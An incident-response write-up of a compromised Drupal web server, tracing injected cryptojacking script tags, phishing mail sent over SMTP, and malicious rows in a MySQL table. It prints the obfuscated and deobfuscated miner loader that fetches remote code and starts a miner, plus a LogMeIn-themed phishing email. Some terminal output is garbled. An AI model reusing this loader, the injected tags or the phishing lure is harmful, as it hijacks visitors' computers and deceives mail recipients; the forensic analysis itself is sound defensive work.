Compromised Server Analysis

The webserver is 10.10.10.10 (Replaced the Public IP Address for privacy reasons). I also removed the actual website names and directories for privacy reasons as well.

We begin our analysis with some understanding of the network connections.

```
user@host:~$ sudo netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address
         0 0.0.0.0:3306
                                                           0.0.0.0:*
                                                                                              LISTEN
                      0
                                                                                              LISTEN
tcp
             0
                                                                                              LISTEN
tcp

      0
      0 0.0.0.0:25
      0.0.0.0:*
      LISTE

      0
      0 10.10.10.10:38252
      204.188.217.106:80
      ESTABLISHED

      0
      0 10.10.10.10:22
      10.10.10.12:58172
      ESTABLISHED

      0
      0 10.10.10.10:55387
      204.188.217.106:80
      ESTABLISHED

tcp
tcp
                     0 :::80
            0
tcp6
                                                           :::*
                                                                                               LISTEN
             0
                      0 :::22
tcp6
                                                            :::*
                                                                                              LISTEN
                                                      :::*
tcp6
             0
                      0 :::25
0 :::443
                      0 :::25
                                                                                              LISTEN
tcp6
             0
                                                                                              LISTEN
                      0
udp
            0 0 10.10.10.10:123 0.0.0.0:*
0 0 127.0.0.1:123 0.0.0.0:*
0 0 0.0.0.0:23 0.0.0.0:*
0 0 0.0.0.0:59028 0.0.0.0:*
0 0 127.0.0.1:18120 0.0.0.0:*
0 0 0.0.0.0:1812 0.0.0.0:*
0 0 0.0.0.1813 0.0.0.0:*
0 0 0.0.0.1814 0.0.0.0:*
0 0 0.0.0.0:51414 0.0.0.0:*
0 0 0 680::219:b9ff:fe2c:123 :::*
udp
udp
udp
udp
udp
udp
udp
udp6
udp6
udp6
            0 0 ::1:123 :::*
0 0 :::123 :::*
```

We realize port 80 is being utilized. We try to find the processes using these connections

user@host:~\$ sudo lsof -p 26545				
COMMAND PID USER FD	TYPE	DEVICE SIZE/OFF	NODE	NAME
/usr/sbin 26545 www-data cwd	DIR	252,0 69632	3538945	/tmp
/usr/sbin 26545 www-data rtd	DIR	252,0 4096	5 2	/
/usr/sbin 26545 www-data txt	REG	252,0 10416	3017043	/usr/bin/perl
/usr/sbin 26545 www-data mem	REG	252,0 43416	4981915	
/usr/lib/perl/5.18.2/auto/Socket/Socket.so				
/usr/sbin 26545 www-data mem	REG	252,0 18728	4981918	
/usr/lib/perl/5.18.2/auto/IO/IO.so				
/usr/sbin 26545 www-data mem	REG	252,0 43368	6946983	
/lib/x86_64-linux-gnu/libcrypt-2.19.so				
/usr/sbin 26545 www-data mem	REG	252,0 141574	6947044	
/lib/x86_64-linux-gnu/libpthr	ead-2.19.so			
/usr/sbin 26545 www-data mem	REG	252,0 1071552	6946910	
/lib/x86_64-linux-gnu/libm-2.19.so				
/usr/sbin 26545 www-data mem	REG	252,0 14664	6946980	
/lib/x86_64-linux-gnu/libdl-2.19.so				
/usr/sbin 26545 www-data mem	REG	252,0 1840928	6947193	
/lib/x86_64-linux-gnu/libc-2.19.so				
/usr/sbin 26545 www-data mem	REG	252,0 1608280	3017046	
/usr/lib/libperl.so.5.18.2				
/usr/sbin 26545 www-data mem	REG	252,0 149120	6947052	
/lib/x86_64-linux-gnu/ld-2.19.so				
/usr/sbin 26545 www-data 0	r CHR	1,3 Ot0	6368	/dev/null
/usr/sbin 26545 www-data 1	w FIFO	0,8 Ot(22105555	pipe
/usr/sbin 26545 www-data 20	v REG	252,0 14135	10751213	
/var/log/apache2/error.log				
/usr/sbin 26545 www-data 3	ı IPv4	22143052 Ot0	TCP	
website.ca:55789->204.188.217.106:http (ESTABLISHED)				
/usr/sbin 26545 www-data 6	u unix 0xffff8802	2e742c00 0t0	22105553	socket

Based on the outputs above, we can be for certain that the webserver is compromised. But, there are three sites being hosted in this server:

- https://some.other.website.ca
- https://www.website.ca

user@host:/var/www\$ ls -la

https://subdomain.website.ca

The Files for each site are in /var/www/ directory

```
total 56

drwxr-xr-x 13 root root 4096 Sep 10 22:37 .

drwxr-xr-x 13 root root 4096 Feb 28 2017 ..

drwxr-xr-x 5 root root 4096 Oct 3 2016 alg.old

drwxr-xr-x 8 root root 4096 Aug 23 2013 corporateclean

drwxr-xr-x 2 root root 4096 Jul 17 2012 demo

drwxr-xr-x 2 root root 4096 Feb 1 2017 html

drwxr-xr-x 11 www-data www-data 4096 Sep 3 23:52 subdomain

drwxr-xr-x 5 root root 4096 Nov 29 2017 nal

drwxr-xr-x 2 root root 4096 Feb 5 2018 site

drwxr-xr-x 8 root root 4096 Feb 28 2017 site-wp-3.3
```

drwxr-xr-x 6 stack stack 4096 Feb 28 2017 site-wp-3.5 drwxr-xr-x 6 stack stack 4096 Feb 28 2017 site-wp-3.7

```
-rw-r--r- 1 root root 21 May 4 2012 test.php
```

Based on the user groups, we can safely remove https://some.other.website.ca server from the picture.

The **subdomain** directory were updated more recently than **site**, hence we start investigating with **subdomain** webserver.

Upon looking into the **subdomain** directory, we found one specific file recently updated.

We found some cryptojacking scripts injected near the end of that file:

```
/var/www/subdomain/includes/bootstrap.inc
?><script type="text/javascript" src="//upgraderservices.cf/drupal.js"></script><?php^M
?><script type="text/javascript" src="//drupalupdates.tk/check.js"></script><?php^M</pre>
```

They were reported by others as well:

https://twitter.com/bad packets/status/1037416308336287744

We removed the crypto mining scripts.

However, the webshell IRC connections still persisted. Also, we found that the SMTP port (on foreign endpoints) being used as well.

user@host:/var/www/subdomain\$ netstat -an

```
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address
                                                      State
     0 0.0.0.0:3306
                                   0.0.0.0:*
tcp
                                                       LISTEN
             0 0.0.0.0:22
                                   0.0.0.0:*
tcp
       0
                                                      LISTEN
       0
             0 0.0.0.0:25
                                   0.0.0.0:*
                                                       LISTEN
tcp
             0 10.10.10.10:42191 98.137.157.43:25
        0
                                                 TIME WAIT
             1 10.10.10.10:47567 192.64.147.176:25
        0
                                                  SYN SENT
             1 10.10.10.10:48204 23.20.239.12:25
        0
                                                  SYN SENT
tcp
        0
             0 10.10.10.10:46017 67.195.228.87:25
                                                  TIME WAIT
tcp
       0
            1 10.10.10.10:48211 23.20.239.12:25
                                                  SYN SENT
       0
            0 10.10.10.10:50025 98.136.101.116:25
                                                 TIME WAIT
tcp
            1 10.10.10.10:49812 52.162.126.195:25 SYN SENT
       0
tcp
```

```
1 10.10.10.10:36409 185.53.178.8:25
                                                    SYN SENT
tcp
              1 10.10.10.10:48231 23.20.239.12:25
                                                    SYN SENT
        0
tcp
              1 10.10.10.10:43103 207.148.248.145:25
tcp
        0
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                                10.10.10.12:38580 ESTABLISHED
tcp
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           0 10.10.10.10:42186 98.137.157.43:25
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tcp
        0
             1 10.10.10.10:45291 68.178.213.61:25
                                                    SYN SENT
             0 10.10.10.10:37805 204.188.217.106:80
tcp
        0
                                                   ESTABLISHED
        0 2205 10.10.10.10:34654 216.120.254.206:25
                                                    ESTABLISHED
tcp
             1 10.10.10.10:39909 184.168.131.241:25
tcp
        0
                                                    SYN SENT
              1 10.10.10.10:48962 184.168.47.225:25
        0
                                                    SYN SENT
              0 10.10.10.10:38409 98.136.96.73:25
tcp
        0
                                                    TIME WAIT
             0 10.10.10.10:55883 216.251.100.19:25
                                                    ESTABLISHED
tcp
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tcp
        0
             0 10.10.10.10:32777 204.188.217.106:80
                                                    ESTABLISHED
             0
                                                    SYN SENT
        0
             1 10.10.10.10:47992 198.185.159.145:25
                                                    SYN SENT
tcp
        0
             SYN SENT
tcp
             0 10.10.10.10:37092 66.218.85.151:25
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              0 :::22
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             0 :::443
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                                    :::*
                                                        LISTEN
        0
             0 10.10.10.10:123
                                0.0.0.0:*
udp
        0
             0 127.0.0.1:123
                                   0.0.0.0:*
udp
```

We sniff some packets on the SMTP port:

```
user@host:/var/www/subdomain$ sudo tshark "port 25"
Running as user "root" and group "root". This could be dangerous.
tshark: Lua: Error during loading:
/usr/share/wireshark/init.lua:32: dofile has been disabled due to running Wireshark as
superuser. See https://wiki.wireshark.org/CaptureSetup/CapturePrivileges for help in running
Wireshark as an unprivileged user.
Capturing on 'eth0'
155 187.354503622 74.6.137.68 - 10.10.10.10 SMTP 171 S: 250 sender <www-data@www.website.ca> ok
| 250 recipient <atheneos@atheneoscafe.com> ok | 354 go ahead
 156 187.354596107 10.10.10.10 \rightarrow 74.6.137.68 SMTP 1514 C: DATA fragment, 1448 bytes
 157 187.354605929 \ 10.10.10.10 \rightarrow 74.6.137.68 SMTP|IMF 853 subject:
=?UTF-8?B?TG9nTWVJbiBOb3RpZmljYXRpb24qLSBDb21wdXRlciBJRDoqMjq1MzI4NTczNSBkZWxldGVk?=, from:
=?UTF-8?B?TG9nTWVJbi5jb20=?= <noreplay@logmein.com>, , , Event: Computer deleted ,
If this is an error, use the link bellow to restore your computer back.
rel="nofollow noopener" target=" blank"
href="https://restore.logmein.click/pc/?e=bmV0LmFzc2FzeW5AeWFob28uY29t" style="outline: none;
color: #00aeef; font-weight: bold; text-decoration:
none;">http://restore.logmein.com/login.aspx?clusterid=YXRoZW5lb3NAYXRoZW5lb3NjYWZlLmNvbQ==</a>
r /> <br /> Account holder: atheneos@atheneoscafe.com<br /> Computer ID: 5714726389 <br /> At:
21.12.2018 13:03:20<br /> From: 127.0.0.1 (localhost)<br /> <br /> LogMeIn Account Holders can
change notification settings by clicking their LogMeIn ID in the upper-right corner of LogMeIn
Central and then Account > Security > Account Audit.
style="color: #333333; font-family: arial, sans-serif; font-size: 11px; font-style: normal;
font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none;
white-space: normal; widows: 2; word-spacing: 0px; background-color: #fffffff;
text-decoration-color: initial; display: inline !important; float: none;">Copyright ©
2003-2018 LogMeIn, Inc.</span><a rel="nofollow noopener" target=" blank"
href="https://secure.logmein.com/policies/trademark.aspx" style="margin: 0px; padding: 0px;
```

```
border: 0px; font-style: normal; font-weight: 400; font-stretch: inherit; font-size: 11px; line-height: inherit; font-family: arial, sans-serif; vertical-align: baseline; outline: 0px; color: #0088ce; text-decoration: none; cursor: pointer; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; background-color: #fffffff;">All rights reserved.</a>
```

This provides evidence of phishing activity. Thus, removing the earlier cryptojacking scripts from **bootstrap.inc** was not enough.

Upon visiting the subdomain site's main page https://subdomain.website.ca, we noticed a javascript file trying to load on the background: hhy6.js

When inspecting the elements on the HTML page of the site, we found a hidden javascript tag code that has a suspicious link.

We fetched the script for inspection purposes.

```
user@host:/var/www/subdomain$ wget http://wt-23...full-http-control
user@host:/var/www/subdomain$ cat full-http-control
0x17e1=["script","createElement","type","text/javascript","readyState","onreadystatechange","loa
ded", "complete", "onload", "src", "appendChild", "head", "getElementsByTagName", "http://146.185.234.11
3/hhY6.js", "undefined", "stop", "_client", "56bc34061cd882609aab5de9d411b6e12be622137090334aa0697591
bd8c7742", "start"]; function loadScript( 0x17a8x2, 0x17a8x3) {var
_0x17a8x4=document[_0x17e1[1]](_0x17e1[0]);_0x17a8x4[_0x17e1[2]]=
_0x17e1[3];if(_0x17a8x4[_0x17e1[4]]){_0x17a8x4[_0x17e1[5]]= function(){if(_0x17a8x4[_0x17e1[4]]==
{0x17a8x4[_0x17e1[8]] = function() {_0x17a8x3()}};_0x17a8x4[_0x17e1[9]] = {_0x17a8x4[_0x17e1[8]] = function() {_0x17a8x4[_0x17e1[9]]} = {_0x17a8x4[_0x17e1[8]] = function() {_0x17a8x4[_0x17e1[8]]} = function() {_0x17a8x3()}};_0x17a8x4[_0x17e1[8]] = function() {_0x17a8x3()};_0x17e1[8]
_0x17a8x2;document[_0x17e1[12]](_0x17e1[11])[0][_0x17e1[10]](_0x17a8x4)}loadScript(_0x17e1[13],fu
nction(){setTimeout(function(){if( typeof (miner)!=
0x17e1[14]) {try{miner[ 0x17e1[15]]()}catch(e){}};if( typeof ( client)!=
 0x17e1[14]) {try{ client[ 0x17e1[15]]()}catch(e){}};document[ 0x17e1[16]]= new
Client.Anonymous( 0x17e1[17], {throttle:0.3}); document[ 0x17e1[16]][ 0x17e1[18]] (Client.FORCE MULT
I TAB) } ,1000) })
CLEANER VERSION:
var 0x17e1=
["script",
"createElement",
```

```
"Type",
"text/javascript",
"readyState",
"Onreadystatechange",
"Loaded",
"Complete",
"Onload",
"Src",
"appendChild",
"Head",
"getElementsByTagName",
"http://146.185.234.113/hhY6.js",
"Undefined",
"Stop",
"56bc34061cd882609aab5de9d411b6e12be622137090334aa0697591bd8c7742",
"Start"1:
function loadScript( 0x17a8x2, 0x17a8x3){
 var 0x17a8x4 = document[ 0x17e1[1]] ( 0x17e1[0]);
  _0x17a8x4[_0x17e1[2]] = _0x17e1[3];
if(_0x17a8x4[_0x17e1[4]]){
 0x17a8x4[ 0x17e1[5]] = function(){
   0x17a8x4[0x17e1[5]] = null; 0x17a8x3()})else { 0x17a8x4[0x17e1[8]] = }
function(){_0x17a8x3()};_0x17a8x4[_0x17e1[9]]=
_0x17a8x2;document[_0x17e1[12]](_0x17e1[11])[0][_0x17e1[10]](_0x17a8x4)}loadScript(_0x17e1[13],fu
nction(){setTimeout(function(){if( typeof (miner)!=
_0x17e1[14]) {try{miner[_0x17e1[15]]()}catch(e){}};if( typeof (_client)!=
0x17e1[14]) {try{ client[ 0x17e1[15]]()}catch(e){}};document[ 0x17e1[16]]= new
Client.Anonymous( 0x17e1[17], {throttle:0.3}); document[ 0x17e1[16]][ 0x17e1[18]] (Client.FORCE MULT
I TAB) } ,1000) })
```

So, this link fetches some malicious script to load hhY6.js. We tried to translate the loadScript functions.

```
0x17e1[0] = "script"
0x17e1[1] = "createElement"
0x17e1[2] = "type"
0x17e1[3] = "text/javascript"
0x17e1[4] = "readyState"
0x17e1[5] = "onreadystatechange"
0x17e1[6] = "loaded"
0x17e1[7] = "complete"
0x17e1[8] = "onload"
0x17e1[9] = "src"
0x17e1[10] = "appendChild"
0x17e1[11] = "head"
0x17e1[12] = "getElementsByTagName"
0x17e1[13] = "http://146.185.234.113/hhY6.js"
0x17e1[14] = "undefined"
0x17e1[15] = "stop"
0x17e1[16] = " client"
0x17e1[17] = "56bc34061cd882609aab5de9d411b6e12be622137090334aa0697591bd8c7742"
0x17e1[18] = "start"
function loadScript( 0x17a8x2, 0x17a8x3){
```

```
var 0x17a8x4 = document["createElement"]("script");
  _0x17a8x4["type"] = "text/javascript";
  if( 0x17a8x4["readyState"]){
   _0x17a8x4["onreadystatechange"] = function(){
     if( 0x17a8x4["readyState"] == "loaded" || 0x17a8x4["readyState"] == "complete"){
        0x17a8x4["onreadystatechange"] = null;
        0x17a8x3()
   }
   _0x17a8x4["onload"] = function(){
     _0x17a8x3()
  0x17a8x4["src"] = 0x17a8x2;
 document["getElementsByTagName"]("head")[0]["appendChild"]( 0x17a8x4)
loadScript("http://146.185.234.113/hhY6.js",function(){
  setTimeout(function(){
   if( typeof (miner)!= "undefined"){
     try{miner["stop"]()}
     catch(e){}
   };
   if( typeof (_client)!= "undefined"){
     try{ client["stop"]()}
     catch(e){}
   };
   document[" client"] = new
Client.Anonymous("56bc34061cd882609aab5de9d411b6e12be622137090334aa0697591bd8c7742",{throttle:0.3
   document[" client"]["start"](Client.FORCE MULTI TAB)
  },1000)
```

This script is trying to load more cryptojacking scripts. It has a similar resemblance to: https://coinhive.com/documentation/miner

But needs more investigation.

Drupal uses MySQL database to load HTML content from modules. The hidden malicious javascript code (found in HTML) is injected in a MySQL table: block_custom in database: subdomainsite

We delete these rows from MySQL:

```
mysql> delete from block_custom where bid=8;
Query OK, 1 row affected (0.05 sec)

mysql> delete from block_custom where bid=9;
Query OK, 1 row affected (0.03 sec)
```

After deleting the rows, the footer code disappears, thus removing the malware from loading on the page

Also, when looking at MySQL command history:

```
user@host:/var/www/subdomain$ cat ~/.mysql history
show databases;
use subdomainsite;
show tales;
show tables:
select column from users;
select * from users;
show cloumns from users;
show columns from users;
select mail from users;
show databases;
use subdomainsite;
select * from users;
show columns from users;
select * from users where mail like '@drupaler%';
select * from users where mail like '%@drupaler%';
delete from users where mail like '%@drupaler%';
select mail from users;
show databases;
use subdomainsite;
select mail from users;
select * from users where mail like '%brainhard%';
delete from users where mail like '%brainhard%';
select mail from users;
delete from users where mail like '%bee@addmyhome.com%';
delete from users where mail like '%canie.assassins-creed.org%';
delete from users where mail like '%quinn.adkins38@visitnorwayusa.com%';
delete from users where mail like '%menherbalenhancement.com%';
show databases:
use WordPressDB;
show tables;
describe wp_posts;
select * from wp_posts;
describe wp posts;
show databases;
use subdomainsite;
select mail from users;
select * from users where mail like '%@drupaler%';
select * from users where mail like '%drupaler%';
```

```
select * from users where mail like '%drupal%';
select mail from users where mail like '%drupal%';
delete from users where mail like '%drupal%';
select mail from users;
use subdomainsite;
select mail from users;
show databases;
use WordPressDB;
show tables;
describe wp_users;
select * from wp users; ...
```

Seems like they tried to delete their spamming email domains:

https://www.pozzo-balbi.com/help/List of email spamming domains

Now, the webshell IRC connections and phishing activities stopped!

CAUSE: The current Drupal version (running on the webserver) has a vulnerability for XSS attacks. This was confirmed with **grabber** vulnerability scanner tool.

SOLUTION: Possible solution is to patch the Drupal system, but since we are not using the subdomain website, we can shutdown that domain.

Cleaning up

Since we are not using the subdomain site, we shut it down:

```
vim /etc/apache2/sites-available/default-ssl.conf

#<VirtualHost _default_:443>
    # ServerAdmin admin@email.ca
    # ServerName subdomain.website.ca
    # Indexes + Directory Root.
    # DirectoryIndex index.php
    # DocumentRoot /var/www/subdomain/
    # ...

sudo service apache2 restart
```

For safety purposes, we block SMTP Port and stop the mail service:

```
sudo iptables -A INPUT -i eth0 -p tcp --destination-port 25 -j DROP
sudo /etc/init.d/postfix stop
```